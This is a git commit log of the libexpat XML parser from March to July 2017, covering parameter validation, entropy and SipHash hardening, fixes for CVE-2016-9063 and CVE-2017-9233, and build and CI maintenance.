Sebastian Pipping f8bd51b5a3 xmlparse.c: Avoid _GNU_SOURCE macro redefinition (#77) 2017-07-12 21:09:39 +02:00
Sebastian Pipping 1ea1425d15 xmlparse.c: Address compile warning with -DNDEBUG (issue #76) 2017-07-12 20:20:22 +02:00
Sebastian Pipping b5aaa782fa runtests.c: Protect against -DNDEBUG (issue #76 related) 2017-07-12 20:16:37 +02:00
Sebastian Pipping e72c42eb18 Prepare release version 2.2.2 2017-07-12 19:00:02 +02:00
Sebastian Pipping 8c9ec41705 Bump version info from 7:3:6 to 7:4:6 2017-07-12 19:00:02 +02:00
Sebastian Pipping 5f51145401 Move to C99 (#73) and fix ULL integer literals (#69) 2017-07-12 18:47:37 +02:00
Sebastian Pipping 21efd0f600 Travis CI: Use -DXML_POOR_ENTROPY to fix compilation
I would use libbsd but it's broken on Ubuntu trusty:
```
/usr/include/bsd/stdlib.h:52:27: error: unknown type name 'u_char'
 void arc4random_addrandom(u_char *dat, int datlen);
                           ^
```
https://travis-ci.org/libexpat/libexpat/jobs/252880355
2017-07-12 18:34:52 +02:00
Sebastian Pipping ba03edc6e6 Changes: Document low quality entropy detection (related to #43) 2017-07-12 18:11:28 +02:00
Sebastian Pipping ff0207e607 xmlparse.c: Protect against accidental use of low quality entropy (issue #43) 2017-07-12 18:11:01 +02:00
Sebastian Pipping 939f5af58f xmlparse.c: Move includes up (to reduce chance of macro interference)
Commit 6ee259bc84 is related.
2017-07-12 17:47:55 +02:00
Sebastian Pipping a449035d04 Changes: Communicate security aspects in detail (#60) 2017-07-12 16:28:27 +02:00
Rhodri James 196bea60b1 Fix protocolEncodingName. (pull request #70)
Ensure that protocolEncodingName is always either NULL or points
to the correct encoding for the parser, even if the parser is
reset.
2017-07-10 22:10:49 +02:00
Sebastian Pipping 14c59476cf Merge branch 'cmake-fixes-from-vtk' (pull request #72) 2017-07-09 22:41:18 +02:00
Sebastian Pipping 61e1a31fdc Changes: Mention CMake improvements 2017-07-09 22:40:17 +02:00
Ben Boeckel f01b2c0e27 cmake: use the current binary directory
This is not necessarily the top-level CMake directory (such as when
expat is included inside of another project's source tree directly), so
we should instead use the one relative to this `CMakeLists.txt` file.
2017-07-05 17:13:57 -04:00
Ben Boeckel c2888d56c0 ConfigureChecks: configure into the build tree
This helps to keep the source tree cleaner.
2017-07-05 17:12:38 -04:00
Ben Boeckel ab89ae73c7 cmake: include the current directory's ConfigureChecks.cmake
The file we want is always in the same directory. The
`ConfigureChecks.cmake` file is included in many projects and the wrong
`CMAKE_MODULE_PATH` can cause the wrong one to be used here.
2017-07-05 17:11:48 -04:00
Ben Boeckel dc4422e894 cmake: remove executable bits from cmake files
These files are not executable and should not be stored as such inside
of the repository.
2017-07-05 17:11:30 -04:00
Sebastian Pipping 2994cfc3d9 siphash.h: Ensure <=80 line length 2017-07-05 14:07:10 +02:00
Sebastian Pipping 736d47c8ef siphash.h: Add const qualifiers 2017-07-05 14:06:37 +02:00
Sebastian Pipping 44b8064042 Changes: Add MOX reference 2017-07-01 17:30:19 +02:00
Sebastian Pipping 726cd8cdb8 Merge branch 'xmlts-local-cache' (pull request #67) 2017-07-01 17:26:11 +02:00
Rhodri James f196feb61f Add means to avoid downloading xmlts.zip in coverage tests
Modifies target tests/xmlts.zip so that if the environment variable
XMLTS_DIR is set, the xmlts.zip will be copied from there rather
than downloaded again from xml.org.  I currently need this
because I have a very limited internet connection.
2017-07-01 17:21:24 +02:00
Sebastian Pipping 6ee259bc84 xmlparse.c: Move includes up to fix macro interference
Guilty is our macro "buffer" resolving to "parser->m_buffer".
Issue #59 is related.
2017-07-01 14:52:24 +02:00
Sebastian Pipping b37622e679 Changes: Mention parameter validation bug 2017-07-01 14:43:25 +02:00
Sebastian Pipping ac256dafdf xmlparse.c: Fix parser NULL dereference
errorCode is a macro resolving to parser->m_errorCode.
Issue #59 is related.
2017-07-01 14:36:36 +02:00
Sebastian Pipping d9ae1958c8 Merge branch 'autoreconf-dash-fix' (pull request #68) 2017-07-01 13:13:05 +02:00
Sebastian Pipping 00bd9dab99 Changes: Mention #68, give credit to Kerin Millar 2017-07-01 13:12:29 +02:00
Kerin Millar c14a173105 conftools/get-version.sh: Fix unsafe expansions of $hdr
Also, use $() instead of ``. See http://mywiki.wooledge.org/BashFAQ/082.
2017-06-29 17:00:36 +01:00
Kerin Millar 9502963fd2 conftools/get-version.sh: Use printf rather than try to infer non-portable echo options 2017-06-29 16:59:59 +01:00
Sebastian Pipping e0961e1713 Travis CI: Install dos2unix (#66) 2017-06-28 20:09:28 +02:00
Sebastian Pipping 6a097dd28c Merge branch 'make-run-xmltest-windows' (#66) 2017-06-28 19:42:46 +02:00
Sebastian Pipping 566d4bb019 Makefile.in: Waterproof against differences in line endings
For MinGW cross-compilation, second try.
2017-06-28 18:58:36 +02:00
Sebastian Pipping 58663de348 Merge branch 'mingw-crossdev-wine-linuxmint' (#64) 2017-06-28 16:03:52 +02:00
Sebastian Pipping 85bc1329dd xmlwf/readfilemap.c: Address -Wsign-compare warning
read:
http://pubs.opengroup.org/onlinepubs/009695399/functions/read.html
2017-06-27 23:26:49 +02:00
Sebastian Pipping 552a79bc98 coverage.sh: Symlink libwinpthread-1.dll as well for Linux Mint 2017-06-27 23:09:18 +02:00
Sebastian Pipping e4f71eeaa0 tests: Address -Wformat compile warnings 2017-06-26 00:31:29 +02:00
Sebastian Pipping 93baf8759b Changes: Give credit to Viktor Szakats (#61) 2017-06-25 20:15:28 +02:00
Viktor Szakats 73a5a2e9c0 LoadLibrary() call to work correctly regardless of _UNICODE setting
This solution allows the build system to chose whichever mode, instead
of forcing the "ANSI" alternative of the API.
2017-06-25 19:42:17 +02:00
Sebastian Pipping 23a533d19b Changes: Mention fix to #60 2017-06-25 17:53:25 +02:00
Václav Slavík 95b95032f9 Fix building on win32 if _UNICODE is defined
Explicitly use LoadLibraryA() instead of the LoadLibrary() macro, which 
may expand to LoadLibraryW() depending on build configuration.
2017-06-25 17:38:11 +02:00
Sebastian Pipping 6dc3273aa5 coverage.sh: Fix two comment typos 2017-06-24 16:11:09 +02:00
Sebastian Pipping edf77a025f Merge branch 'haypo-win64_warn' (pull request #58) 2017-06-23 21:06:56 +02:00
Sebastian Pipping 3932cc8df4 siphash.h: Compress change log a bit 2017-06-23 21:06:20 +02:00
Sebastian Pipping a85511958a Changes/siphash.h: Extend log, give credit to Victor Stinner 2017-06-23 21:06:20 +02:00
Victor Stinner 788bff7a3b Fix compiler warnings on Windows 64-bit
Explicitly cast on integer downcasting to fix compiler warnings.
2017-06-23 10:40:05 +02:00
Sebastian Pipping 50756efa25 Merge branch 'travis-matrix' (pull request #54) 2017-06-22 20:38:04 +02:00
Sebastian Pipping 0e7fb70fcd Travis CI: No need to download upfront any more
Since e9e329b4f4
2017-06-22 20:32:02 +02:00
Sebastian Pipping 2d82462393 siphash.h: Fix duplicate/leftover line in the header (#57) 2017-06-22 20:26:53 +02:00
Sebastian Pipping 956147f81a Changes: Mention getrandom detection issues on macOS (#52) 2017-06-19 20:37:34 +02:00
Muhammad Kaisar Arkhan e9e329b4f4 Travis CI: Use build matrix
Using the build matrix can help speeding up the CI since they run
simultaneously.

Closes https://github.com/libexpat/libexpat/issues/41
2017-06-19 19:26:05 +07:00
Sebastian Pipping c74d380b8f siphash.h: Address lack of stdint.h for Visual Studio 2003-2008 2017-06-18 22:03:01 +02:00
Sebastian Pipping 1ce8ec1c12 Changes: Start post-2.2.1 section 2017-06-18 21:53:55 +02:00
Sebastian Pipping 602e6c78ca configure.ac: Fix mis-detection of getrandom on Debian GNU/kFreeBSD (#50)
There is no such thing but we need to link (not just compile) to realize.
2017-06-18 18:56:03 +02:00
spzeidler e5e25fac16 Fix sh syntax in configure.ac (#49)
The old '==' sh-is-not-C issue
It doesn't matter in bash, but some other sh don't like it, so it's a portability issue
2017-06-18 14:30:22 +02:00
Karl Waclawek c4446687cf Merge branch 'master' of https://github.com/libexpat/libexpat 2017-06-17 12:07:38 -04:00
Karl Waclawek 85718691e5 Windows release: Update README, remove VC++ 6.0 files from installer, fix runtests.vcxproj file. 2017-06-17 12:05:48 -04:00
Sebastian Pipping 82b8241c1c Changes: Add link for SipHash commits 2017-06-17 17:44:32 +02:00
Sebastian Pipping 508b1c3023 Changes: Add reference to SipHash ticket 2017-06-17 12:04:41 +02:00
Sebastian Pipping e421621fb3 win32/expat.iss: Install AUTHORS file, too 2017-06-17 12:02:29 +02:00
Sebastian Pipping 484cc4e62c Bump version, year, and ID for 2.2.1
Also fill earliest release date
2017-06-17 01:58:05 +02:00
Sebastian Pipping d7ba4e385e Changes: Mention address leak, add MOX-??? references 2017-06-17 01:44:00 +02:00
Sebastian Pipping b6742eb325 Bump version info from 7:2:6 to 7:3:6 2017-06-17 01:12:35 +02:00
Sebastian Pipping c2d4688d5b Changes: Mention SipHash 2017-06-17 01:10:11 +02:00
Sebastian Pipping 1ee8601f24 Merge branch 'siphash' 2017-06-17 01:04:09 +02:00
Sebastian Pipping cc16ba0553 Merge branch 'cve-2017-9233' 2017-06-17 01:01:17 +02:00
Sebastian Pipping 01bbdedb66 Changes: Add CVE-2017-9233 info to change log 2017-06-17 01:00:45 +02:00
Rhodri James c4bf96bb51 xmlparse.c: Fix external entity infinite loop bug (CVE-2017-9233) 2017-06-17 01:00:05 +02:00
Rhodri James 774ee6c15b Tests: Cover external entity infinite loop bug 2017-06-17 01:00:05 +02:00
Sebastian Pipping 13a55ba351 Changes: Add call for help 2017-06-17 00:56:27 +02:00
Sebastian Pipping fa1bda5cd0 Add AUTHORS file
$ git log | fgrep Author: | sed 's, <[^>]\+>,,' | sort | uniq -c | awk '{ if (int($1) >= 20) print }' | sed 's,.*: ,,' | sort
2017-06-17 00:48:03 +02:00
Sebastian Pipping db774d9a32 Add master readme as a symlink 2017-06-16 21:30:01 +02:00
Sebastian Pipping 913851a90c Remove amigaconfig.h and macconfig.h (issue #14) 2017-06-16 21:06:16 +02:00
Sebastian Pipping 760077feeb xmlparse.c: Polish ENTROPY_DEBUG
The cast fixes a compile warning.
2017-06-16 20:48:53 +02:00
Sebastian Pipping c235f0aa43 MinGW: No longer ignore expat_config.h
Previously, "#define XML_CONTEXT_BYTES 1024" from winconfig.h
would render --disable-xml-context ineffective.
2017-06-16 20:38:52 +02:00
Sebastian Pipping 2446329958 Address MemorySanitizer mis-report on SYS_getrandom 2017-06-15 23:45:44 +02:00
Sebastian Pipping 60d00148b5 Changes: Mention new error code XML_ERROR_INVALID_ARGUMENT 2017-06-15 22:18:02 +02:00
Sebastian Pipping 2b005a837f Introduce random-based SHA256 release identifier
Idea is to ease finding bundles of Expat in the wild in the future.
PS: If you need to bundle Expat, please keep your copy up to date.
2017-06-15 22:11:38 +02:00
Sebastian Pipping bfa1152c8e coverage.sh: Add Windows MinGW cross-compilation 2017-06-14 22:41:44 +02:00
Sebastian Pipping 3fb1ec4334 Make "make run-xmltest" work for MinGW cross-compilation 2017-06-14 22:36:51 +02:00
Sebastian Pipping 79d10879b2 coverage.sh: Cover arc4random_buf with libbsd 2017-06-14 18:31:05 +02:00
Sebastian Pipping 223365c43d coverage.sh: Extract function _build_case for re-use 2017-06-14 18:07:47 +02:00
Sebastian Pipping a95e5a6c95 Changes: Mark SourceForge tickets for clarity 2017-06-14 18:02:18 +02:00
Sebastian Pipping 400d260d01 Changes: Fix indentation of a 2.2.1 item 2017-06-14 18:02:18 +02:00
Sebastian Pipping 065486c1ad Changes: Mention commit 7e5b71b748 2017-06-14 17:40:04 +02:00
Sebastian Pipping a68c125fba tests/runtests.c: Address byte_character_handler unused variables 2017-06-13 23:38:01 +02:00
Sebastian Pipping 7e5b71b748 xmlparse.c: Fix XML_Size/XML_Index cast mixup
The "MAX = (type)-1" hack only works for unsigned types:
XML_Size is unsigned but XML_Index is not.
As the positive maximum of signed integers is about
half as big as that of their unsigned counterpart,
we divide by 2.

Example for 2 bit integers:
* signed: -2, -1, 0, 1 == 2^1-1
* unsigned: 0, 1, 2, 3 == 2^2-1

Fixing 4be2cb5afc
2017-06-13 23:37:36 +02:00
Sebastian Pipping 51308292cd coverage.sh: Fix "make check" error propagation 2017-06-13 23:02:32 +02:00
Sebastian Pipping a3e164560a MANIFEST: Add missing run.sh.in
Second half of 49693bb768
2017-06-11 22:45:22 +02:00
Sebastian Pipping 302bb6529a MANIFEST: Drop pre-X Mac OS MPW Makefile (issue #14)
Second half of a39382bee5
2017-06-11 22:39:08 +02:00
Sebastian Pipping efa3749d8f siphash: Test implementation 2017-06-11 01:20:41 +02:00
Sebastian Pipping 3fcef5021a siphash: Replace current hash algorithm by SipHash 2017-06-11 01:20:41 +02:00
Sebastian Pipping c0f7c250e3 siphash: Make siphash.h ready for C89 Expat 2017-06-11 01:20:41 +02:00
Sebastian Pipping 38d5bf0080 siphash: Integrate into build system 2017-06-11 01:20:41 +02:00
Sebastian Pipping 695314a849 Add unmodified siphash-20121104.h by William Ahern as siphash.h 2017-06-11 00:49:05 +02:00
Sebastian Pipping a39382bee5 Drop pre-X Mac OS MPW Makefile (issue #14) 2017-06-10 22:54:26 +02:00
Sebastian Pipping 632bb9f39e Changes: Add missing details for 2.2.1 2017-06-07 23:33:39 +02:00
Sebastian Pipping 3518a91e72 Changes: Mention commits of important 2.2.1 fixes 2017-06-07 23:29:49 +02:00
Sebastian Pipping bf9b32eae3 Changes: Improve classification/order of existing entries for 2.2.1 2017-06-07 21:17:57 +02:00
Sebastian Pipping 8706f69ca7 examples: Unify expat.h include 2017-06-07 20:31:35 +02:00
Sebastian Pipping 4f862dddf9 examples|tests|xmlwf: Drop AmigaOS 4.x include (issue #14) 2017-06-07 20:31:15 +02:00
Sebastian Pipping 64f3cf982a Merge branch 'better-entropy' (pull request #30) 2017-06-07 20:18:50 +02:00
Sebastian Pipping ee43797ac9 Avoid implicit declaration of function ‘syscall’ with -std=c89 2017-06-07 20:14:41 +02:00
Sebastian Pipping d514ea4c52 Merge branch 'crossdev-mingw' 2017-06-04 18:13:30 +02:00
Sebastian Pipping 49693bb768 Add run.sh wrapper to run test suite with Wine for MinGW 2017-06-04 17:43:47 +02:00
Sebastian Pipping 9560d17165 Makefile.in: Add missing @EXEEXT@ to runtests for MinGW 2017-06-04 17:25:23 +02:00
Sebastian Pipping 120bbbc8cf configure.ac: Disable auto-detection of libbsd 2017-06-01 20:53:44 +02:00
Sebastian Pipping afd0805071 expat.h: Fix version hint on XML_ERROR_INVALID_ARGUMENT
Introduced at commit 768613f801.
2017-05-31 23:45:12 +02:00
Sebastian Pipping f356fb56fb Detect and support syscall(SYS_getrandom, [..]) as well 2017-05-31 23:31:15 +02:00
Sebastian Pipping 9e02465f09 Make EXPAT_ENTROPY_DEBUG=1 print entropy source and bytes 2017-05-31 13:28:10 +02:00
Sebastian Pipping 377fa896b3 Merge branch 'parent-hash-salt' (fixes #31) 2017-05-30 21:35:40 +02:00
Sebastian Pipping 9592ce6771 Make hash salt setter/getter go up to the very top (issue #31) 2017-05-30 20:50:40 +02:00
Sebastian Pipping 11f5e68e30 Detect XML_UNICODE_WCHAR_T with sizeof(wchar_t) != 2 (issue #33) 2017-05-29 00:03:02 +02:00
Sebastian Pipping 4be2cb5afc Detect overflow from len=INT_MAX call to XML_Parse
Relevant only when XML_CONTEXT_BYTES not defined
2017-05-28 23:11:00 +02:00
Sebastian Pipping 70db8d2538 Reject negative length call to XML_Parse 2017-05-28 21:35:12 +02:00
Sebastian Pipping 6a747c837c Set errorCode for XML_Parse on NULL parser
Related to 56c75720c2
2017-05-28 21:31:58 +02:00
Sebastian Pipping 50db475431 Address unused variable warning (for XML_CONTEXT_BYTES not defined) 2017-05-28 20:50:43 +02:00
Sebastian Pipping 84f9ca1066 Fix sharing of hash salt across parsers (issue #31)
This affects when XML_ExternalEntityParserCreate was called
prior to XML_Parse.
2017-05-28 17:32:28 +02:00
Sebastian Pipping f0b63f56c8 Address warning "initializer element is not computable at load time" 2017-05-28 15:02:19 +02:00
Sebastian Pipping ad8521ca84 Pull out shared variable and is-unused marker 2017-05-25 21:55:05 +02:00
Sebastian Pipping 13e4b3d05e Autoconf: Add --(with|without)-libbsd for bypassing auto-detection 2017-05-25 21:15:36 +02:00
Sebastian Pipping ba1fc202c1 Changes: Mention use of high quality entropy sources 2017-05-25 21:15:36 +02:00
Sebastian Pipping 04ad658bd3 Pull parser instance address out of entropy equation to not leak that information 2017-05-25 21:15:36 +02:00
Sebastian Pipping 7a93938687 Start using arc4random_buf with BSD and libbsd 2017-05-25 21:15:36 +02:00
Sebastian Pipping c9cc7dd3d7 Start using getrandom for entropy extraction with glibc 2.25+ 2017-05-25 20:08:23 +02:00
Sebastian Pipping 01e78c377b Start using RtlGenRandom for entropy extraction on WinXP and later 2017-05-25 20:07:01 +02:00
Sebastian Pipping a494d5358a Merge branch 'underscore-win32' (remake of pull request #10) 2017-05-25 15:32:09 +02:00
Sebastian Pipping d923c99e13 Changes: Adjust indentation 2017-05-25 15:25:18 +02:00
Sebastian Pipping 4c6ac5ebc8 Changes: Document move from WIN32 to _WIN32 2017-05-25 15:25:18 +02:00
Sebastian Pipping 50e0dd88f0 Visual Studio 20xx: No longer define WIN32 2017-05-25 15:25:18 +02:00
Sebastian Pipping 078af33952 CMake: No longer define WIN32 2017-05-25 15:25:18 +02:00
Sebastian Pipping 8f25f91e9e Replace WIN32 by _WIN32 in code 2017-05-25 15:25:18 +02:00
Rhodri James a4dc944f37 Prevent use of uninitialised variable
I don't believe the value of 'next' is actually used if it is not
set by the tokenizer, but this is very hard to prove.  For safety,
we give it a safe default value.
2017-05-24 22:03:43 +02:00
Sebastian Pipping 9ed727064b Validate parser parameter to XML_UseParserAsHandlerArg 2017-05-24 21:09:23 +02:00
Sebastian Pipping d37f74b2b7 Merge branch 'null-checks' 2017-05-24 21:04:08 +02:00
Sebastian Pipping b070843f5b Make XML_GetInputContext parameter validation more flexible 2017-05-24 20:52:16 +02:00
Rhodri James ea1f407c06 Validate parser parameter to XML_DefaultCurrent 2017-05-24 20:49:40 +02:00
Rhodri James 581a4c7ccf Validate parser parameter to XML_MemFree 2017-05-24 20:49:40 +02:00
Rhodri James fad8400108 Validate parser parameter to XML_MemRealloc 2017-05-24 20:49:40 +02:00
Rhodri James cca6cdc5f8 Validate parser parameter to XML_MemMalloc 2017-05-24 20:49:40 +02:00
Rhodri James cbfaa23428 Validate parser parameter to XML_FreeContentModel 2017-05-24 20:49:40 +02:00
Rhodri James 11ec6aefd1 Validate parser parameter to XML_GetCurrentColumnNumber 2017-05-24 20:49:40 +02:00
Rhodri James 1bf78fe1fb Validate parser parameter to XML_GetCurrentLineNumber 2017-05-24 20:49:40 +02:00
Rhodri James 88731abd62 Validate parameters to XML_GetInputContext 2017-05-24 20:49:40 +02:00
Rhodri James fd2571b27a Validate parser parameter to XML_GetCurrentByteCount 2017-05-24 20:49:40 +02:00
Rhodri James 2253c12304 Validate the parser parameter to XML_GetCurrentByteIndex 2017-05-24 20:49:40 +02:00
Rhodri James 1c365fc049 Validate parser parameter to XML_GetErrorCode 2017-05-24 20:49:40 +02:00
Rhodri James 253c68928e Validate parser parameter for XML_GetParsingStatus 2017-05-24 20:49:40 +02:00
Rhodri James fadc9db44c Validate parser parameter for XML_ResumeParser 2017-05-24 20:49:40 +02:00
Rhodri James 9ce48e786c Validate parser parameter for XML_StopParser 2017-05-24 20:49:40 +02:00
Rhodri James 49c4ad9210 Validate parser parameter for XML_GetBuffer 2017-05-24 20:49:40 +02:00
Rhodri James 621222bce6 Validate parser parameter for XML_ParseBuffer 2017-05-24 20:49:40 +02:00
Rhodri James 56c75720c2 Validate "parser" and "s" parameters to XML_Parse 2017-05-24 20:49:40 +02:00
Rhodri James b58abe1e92 Validate parser parameter to XML_SetHashSalt 2017-05-24 20:49:40 +02:00
Rhodri James 2a6ed44fbc Validate parser parameter to XML_SetParamentityParsing 2017-05-24 20:49:40 +02:00
Rhodri James e5430d8a07 Validate parser parameter to XML_SetXmlDeclHandler 2017-05-24 20:49:40 +02:00
Rhodri James 8fa1d7b48b Validate parser parameter to XML_SetEntityDeclHandler 2017-05-24 20:49:39 +02:00
Rhodri James 571b2fe3b0 Validate parser parameter to XML_SetAttlistDeclHandler 2017-05-24 20:49:39 +02:00
Rhodri James 7f6e542071 Validate parser parameter to XML_SetElementDeclHandler 2017-05-24 20:49:39 +02:00
Rhodri James 62befbddcd Validate parser parameter to XML_SetUnknownEncodingHandler 2017-05-24 20:49:39 +02:00
Rhodri James 23e56eae28 Validate parser parameter to XML_SetSkippedEntityHandler 2017-05-24 20:49:39 +02:00
Rhodri James ae3785e5fa Validate parser parameter to XML_SetExternalEntityRefHandlerArg 2017-05-24 20:49:39 +02:00
Rhodri James 18e48b4122 Validate parser parameter to XML_SetExternalEntityRefHandler 2017-05-24 20:49:39 +02:00
Rhodri James f41ff4a32a Validate parser parameter to XML_SetNotStandaloneHandler 2017-05-24 20:49:39 +02:00
Rhodri James 2823d9d388 Validate parser parameter in XML_SetEndNamespaceDeclHandler 2017-05-24 20:49:39 +02:00
Rhodri James a3a68e74dd Validate parser parameter to XML_SetStartNamespaceDeclHandler 2017-05-24 20:49:39 +02:00
Rhodri James 8b379e7818 Validate parser parameter to XML_SetStartNamespaceDeclHandler 2017-05-24 20:49:39 +02:00
Rhodri James d34f158922 Validate parser parameter to XML_SetNotationDeclHandler 2017-05-24 20:49:39 +02:00
Rhodri James eaaa8e6a9a Validate parser parameter to XML_SetUnparsedEntityDeclHandler 2017-05-24 20:49:39 +02:00
Rhodri James 41ffcb74da Validate parser parameter to XML_SetEndDoctypeDeclHandler 2017-05-24 20:49:39 +02:00
Rhodri James e6e0d3e41f Validate parser parameter to XML_SetStartDoctypeDeclHandler 2017-05-24 20:49:39 +02:00
Rhodri James 2315924f2a Validate parser parameter to XML_SetDoctypeDeclHandler 2017-05-24 20:49:39 +02:00
Rhodri James eca1d097e1 Validate parser parameter to XML_SetDefaultHandlerExpand 2017-05-24 20:49:39 +02:00
Rhodri James 2825dc0bae Validate parser parameter to XML_SetDefaultHandler 2017-05-24 20:49:39 +02:00
Rhodri James fd43da3baa Validate parser parameter to XML_SetEndCdataSectionHandler 2017-05-24 20:49:39 +02:00
Rhodri James c49b1309fe Validate parser parameter to XML_SetStartCdataSectionHandler 2017-05-24 20:49:39 +02:00
Rhodri James 5c374aa91d Validate parser parameter to XML_SetCdataSectionHandler 2017-05-24 20:49:39 +02:00
Rhodri James f1685bbf63 Validate parser parameter to XML_SetCommentHandler 2017-05-24 20:49:39 +02:00
Rhodri James 302a85287f Validate parser parameter to XML_SetProcssingInstructionHandler 2017-05-24 20:49:39 +02:00
Rhodri James 1e22f01571 Validate parser parameter to XML_SetCharacterDataHandler 2017-05-24 20:49:39 +02:00
Rhodri James fdd1bc1de1 Validate parser parameter to XML_SetEndElementHandler 2017-05-24 20:49:39 +02:00
Rhodri James d4958bd917 Validate parser parameter to XML_SetStartElementHandler 2017-05-24 20:49:39 +02:00
Rhodri James 5416e027cc Validate parser parameter to XML_SetElementHandler 2017-05-24 20:49:38 +02:00
Rhodri James 3b725757e4 Validate parser parameter to XML_GetAttributeInfo 2017-05-24 20:49:38 +02:00
Rhodri James a1feb1da07 Validate parser parameter to XML_GetIdAttributeIndex 2017-05-24 20:49:38 +02:00
Rhodri James c5baf7e3e4 Validate parser parameter to XML_GetSpecifiedAttributeCount 2017-05-24 20:49:38 +02:00
Rhodri James 4c639fc7c0 Validate parser parameter to XML_GetBase 2017-05-24 20:49:38 +02:00
Rhodri James f91d37f349 Validate parser parameter to XML_SetBase 2017-05-24 20:49:38 +02:00
Rhodri James d90ac35610 Validate parser parameter to XML_SetUserData 2017-05-24 20:49:38 +02:00
Rhodri James f65136ddaf Validate parser parameter to XML_SetReturnNSTriplet 2017-05-24 20:49:38 +02:00
Rhodri James 768613f801 Validate parser parameter to XML_UseForeignDTD. 2017-05-24 20:49:38 +02:00
Rhodri James f36b9abf4f Validate oldParser parameter to XML_ExternalEntityParserCreate 2017-05-24 20:49:38 +02:00
Rhodri James bc0cf14fbd Validate parser parameter to XML_SetEncoding 2017-05-24 20:49:38 +02:00
Rhodri James cd775cc05d Validate parser parameter to XML_ParserReset() 2017-05-24 20:49:38 +02:00
Rhodri James 643a09d42d Fix misuse of realloc in tcase_add_test() 2017-05-24 19:08:54 +02:00
Sebastian Pipping 69ad797385 Merge branch 'mmap-int-max' (fixes #28) 2017-05-24 18:52:27 +02:00
Sebastian Pipping 957f947029 Changes: Document fix for #28 2017-05-24 18:50:51 +02:00
Sebastian Pipping 2585316897 Disable memory-mapping for files larger than INT_MAX / 2 + 1 2017-05-23 22:29:51 +02:00
Sebastian Pipping b37c526415 Makefile: Make xmlwf/filemap.o depend on xmlwf/filemap.h 2017-05-23 22:25:22 +02:00
Sebastian Pipping a1be6aa256 xmlwf/win32filemap.c: Add two missing calls to CloseHandle 2017-05-23 01:26:17 +02:00
Sebastian Pipping 00c905d19b Merge branch 'cross-coverage' (pull request #27) 2017-05-16 19:56:57 +02:00
Sebastian Pipping b357bf21e7 Remove in favor of https://libexpat.github.io/ (issue #1)
As htdocs/index.html included a change log: A (more recent)
plain text version of the change log can be found at expat/Changes.
2017-05-11 09:06:29 +02:00
Sebastian Pipping 14f175334d Changes: Group security notes for 2.1.0 as done in htdocs/index.html 2017-05-11 09:06:19 +02:00
Sebastian Pipping a2ae7cd304 coverage.sh: Announce commands 2017-05-08 20:30:30 +02:00
Sebastian Pipping 8c9de86bef coverage.sh: Indent output 2017-05-08 20:24:30 +02:00
Sebastian Pipping 2128186fc1 coverage.sh: Show output of "make check run-xmltest" 2017-05-08 20:23:27 +02:00
Sebastian Pipping a340b037e1 Add script to collect and combine code coverage across different build configurations
e.g. with XML_CONTEXT_BYTES defined and without
2017-05-07 00:11:50 +02:00
Sebastian Pipping 17c0e14c53 Merge branch 'pool-grow-overflow' 2017-05-06 01:42:29 +02:00
Sebastian Pipping 8bb0d934a6 Add issue #25 in change log 2017-05-06 00:34:11 +02:00
Sebastian Pipping 44178553f3 Detect integer overflow in poolGrow function (issue #25) 2017-05-06 00:34:11 +02:00
Sebastian Pipping 810b74e470 Extract function poolBytesToAllocateFor to add overflow detection (issue #25) 2017-05-06 00:34:11 +02:00
Sebastian Pipping 0407af0a59 Makefile.in: Have "make clean" remove tests/memcheck.o (fixes #22, related #17) 2017-05-03 18:24:42 +02:00
Sebastian Pipping 99e2c0d52a Changes: Document CVE-2016-9063 2017-05-03 00:38:58 +02:00
Sebastian Pipping d4f735b88d Detect integer overflow (CVE-2016-9063)
Needs XML_CONTEXT_BYTES to be _undefined_ to trigger,
default is defined and set to 1024.

Previously patched downstream, e.g.
https://sources.debian.net/src/expat/2.2.0-2/debian/patches/CVE-2016-9063.patch/
https://bug1274777.bmoattachments.org/attachment.cgi?id=8755538

This version avoids undefined behavior from _signed_ integer overflow.

Signed-off-by: Pascal Cuoq <cuoq@trust-in-soft.com>
2017-05-03 00:38:57 +02:00
Sebastian Pipping 7801ac4cdf tests: Fix test_byte_info_at_cdata for undefined XML_CONTEXT_BYTES 2017-05-03 00:38:57 +02:00
Sebastian Pipping 766a485e62 Drop Open Watcom specific code (issues #14 and #21) 2017-05-01 13:38:40 +02:00
Sebastian Pipping 5ceb385eec htdocs/index.html: Update Git repo and bug report links (issue #1) 2017-04-26 23:47:13 +02:00
Sebastian Pipping d1709a6c43 Changes: Document fix to issue #17 2017-04-26 19:08:46 +02:00
Sebastian Pipping 9503581d20 MANIFEST: Add memcheck.{c,h} (issue #17) 2017-04-26 00:08:03 +02:00
Rhodri James b47dbc9745 Tidy up attribute prefix bindings on error (fixes #17) 2017-04-26 00:04:52 +02:00
Rhodri James 16f87daae5 Pull freeing of attribute bindings into a static function (issue #17) 2017-04-26 00:04:52 +02:00
Rhodri James ec322eb428 Test to catch Issue #17 2017-04-26 00:04:52 +02:00
Sebastian Pipping d307e44fbf expat.spec: Pull version back in sync 2017-04-25 23:51:59 +02:00
Sebastian Pipping ca5808563d Changes: Document droppings (issue #14) 2017-04-25 23:51:59 +02:00
Sebastian Pipping a67f2a2545 *.dsp,*.dsw: Drop Visual Studio 6.0 (issue #14) 2017-04-25 23:51:59 +02:00
Sebastian Pipping c808687f32 watcom: Drop Open Watcom build system (issue #14) 2017-04-25 23:37:39 +02:00
Sebastian Pipping b96d678b34 vms: Drop OpenVMS build system (issue #14) 2017-04-25 23:37:37 +02:00
Sebastian Pipping db22312c13 bcb5: Drop Borland build system (issue #14) 2017-04-25 23:37:34 +02:00
Sebastian Pipping 1106655e57 amiga: Drop AmigaOS 4.x code (issue #14) 2017-04-25 23:37:30 +02:00
Sebastian Pipping db023e68b7 configure.ac: Add --(en|dis)able-xml-context 2017-04-12 23:41:44 +02:00
Sebastian Pipping 0dbbf43fdb utf8_toUtf8: Cut off partial characters in case of sufficient space, too (closes #16)
Also, report XML_CONVERT_INPUT_INCOMPLETE properly.
2017-03-30 19:38:57 +02:00
Sebastian Pipping 863c43087f Address 64bit MinGW compile warning (fixes #15)
../../../xmlparse.c: In function ‘generate_hash_secret_salt’:
../../../xmlparse.c:725:42: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
       gather_time_entropy() ^ getpid() ^ (unsigned long)parser;
                                          ^

Thanks to Viktor Szakats.
2017-03-16 15:54:45 +01:00
Sebastian Pipping ff9cf997fb "make run-xmltest" order instability once more (issue #13) 2017-03-13 21:20:56 +01:00
Sebastian Pipping afcd79a4b3 Makefile: Turn xmlts.zip download to https 2017-03-13 20:16:06 +01:00
Sebastian Pipping ef4ab16d9a Travis: Have xmlts.zip bypass git clean -X 2017-03-13 20:16:06 +01:00
